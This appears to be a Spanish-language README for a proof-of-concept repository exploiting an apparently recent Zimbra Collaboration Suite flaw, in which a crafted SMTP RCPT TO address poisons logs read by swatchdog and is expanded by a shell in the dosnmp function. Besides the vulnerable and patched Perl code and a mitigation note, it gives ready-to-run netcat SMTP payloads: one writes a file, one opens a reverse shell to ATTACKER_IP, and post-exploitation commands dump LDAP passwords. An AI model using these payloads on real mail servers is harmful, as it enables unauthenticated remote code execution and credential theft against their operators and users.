
Zimbra Collaboration Suite RCE — Envenenamiento de registros SMTP → swatchdog → Inyección de comandos del sistema operativo (CVSS 8.9, CISA KEV)
Nota: Este repositorio contiene un análisis técnico independiente y una reproducción del PoC de CVE-2026-73570. No es el informe original de la vulnerabilidad.
Zimbra Collaboration Suite RCE — Envenenamiento de logs SMTP → swatchdog → Inyección de comandos del sistema operativo (CVSS 8.9, CISA KEV)
Tipo: Inyección de comandos del sistema operativo → RCE no autenticado
Vector: Envenenamiento de logs SMTP → swatchdog → expansión de shell en formato de cadena dosnmp
Afecta: Zimbra Collaboration Suite 10.x (< 10.1.20)
CVSS: 8.9 (Crítico)
CISA KEV: Sí — explotación activa confirmada (~270 instancias comprometidas a agosto de 2026)
Parche: Zimbra 10.1.20 (publicado el 2026-07-20)
La vulnerabilidad reside en /opt/zimbra/conf/swatchrc.in, dentro de la función dosnmp responsable de enviar notificaciones de trampas SNMP cuando un servicio de Zimbra cambia de estado.
Código vulnerable (Zimbra 10.1.1–10.1.19) — llamada system() en formato de cadena:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# Formato CADENA: /bin/sh -c "...". $args{SERVICE} se expande en el shell sin saneamiento.
system("$snmptrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
}
Código corregido (Zimbra 10.1.20) — system() en formato de lista, sin invocación de shell:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# Formato LISTA: exec() directo, el shell nunca se invoca.
system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
$traphost, "", $snmpsvctrap, $snmpsvcname, "s",
$args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
}
La corrección es un cambio de una línea: pasar una lista a system() en lugar de una cadena evita por completo la interpretación del shell.
---
Cadena de explotación
Atacante (Kali)
│
│ SMTP RCPT TO:
│ <"x: Service status change: localhost $(cmd) changed from stopped to running"@target>
▼
Postfix/smtpd (servidor Zimbra, puerto 25)
│ Acepta RCPT TO y lo registra en /var/log/zimbra.log
▼
swatchdog (proceso zimbra, supervisando /var/log/zimbra.log)
│ Patrón: /: Service status change: (\S+) (.*) changed from stopped to running/
│ Captura: $1 = "localhost", $2 = "$(cmd)"
│ Llama: donotify(SERVICE="$(cmd)", ...)
▼
dosnmp → system("$snmptrap ... s $(cmd) ...")
│ /bin/sh -c expande $(cmd) → ejecuta el comando
▼
RCE como usuario "zimbra" (uid=998, gid=999)
Idea clave: Postfix acepta y registra RCPT TO con partes locales entre comillas de forma literal — vector fiable de envenenamiento de logs.
---
Prueba de concepto
PoC básico — escribir archivo
nc <target> 25
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
Resultado: /tmp/pwned_rce contiene uid=998(zimbra) gid=999(zimbra)
Shell inversa
nc -lvnp 4444
nc <target> 25 <<EOF
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
DATA
.
QUIT
EOF
---
Configuración del laboratorio
Requisitos
- VirtualBox, Ubuntu Server 22.04 LTS, Zimbra 10.1.0
Red
Atacante (Kali): 10.0.2.15
Víctima (Ubuntu): 10.0.2.22 (mail.lab.local)
Red NAT de VirtualBox: 10.0.2.0/24
Reproducción de la condición vulnerable
cp /opt/zimbra/conf/swatchrc.in /opt/zimbra/conf/swatchrc.in.bak
vi /opt/zimbra/conf/swatchrc.in # aplicar la llamada system() en formato de cadena
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
---
Post-explotación
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
---
Mitigación
- Parche: Actualizar a Zimbra 10.1.20 o posterior.
- Solución alternativa: zmlocalconfig -e snmp_notify=no && zmconfigdctl restart
---
Referencias
- NVD — CVE-2026-73570 (https://nvd.nist.gov/vuln/detail/CVE-2026-73570)
- Catálogo CISA KEV (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Aviso de seguridad de Zimbra (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories)
---
Aviso legal
Este repositorio es solo para fines educativos y de investigación de seguridad autorizada.
No lo utilice contra sistemas que no posea o para los que no tenga permiso escrito explícito de prueba.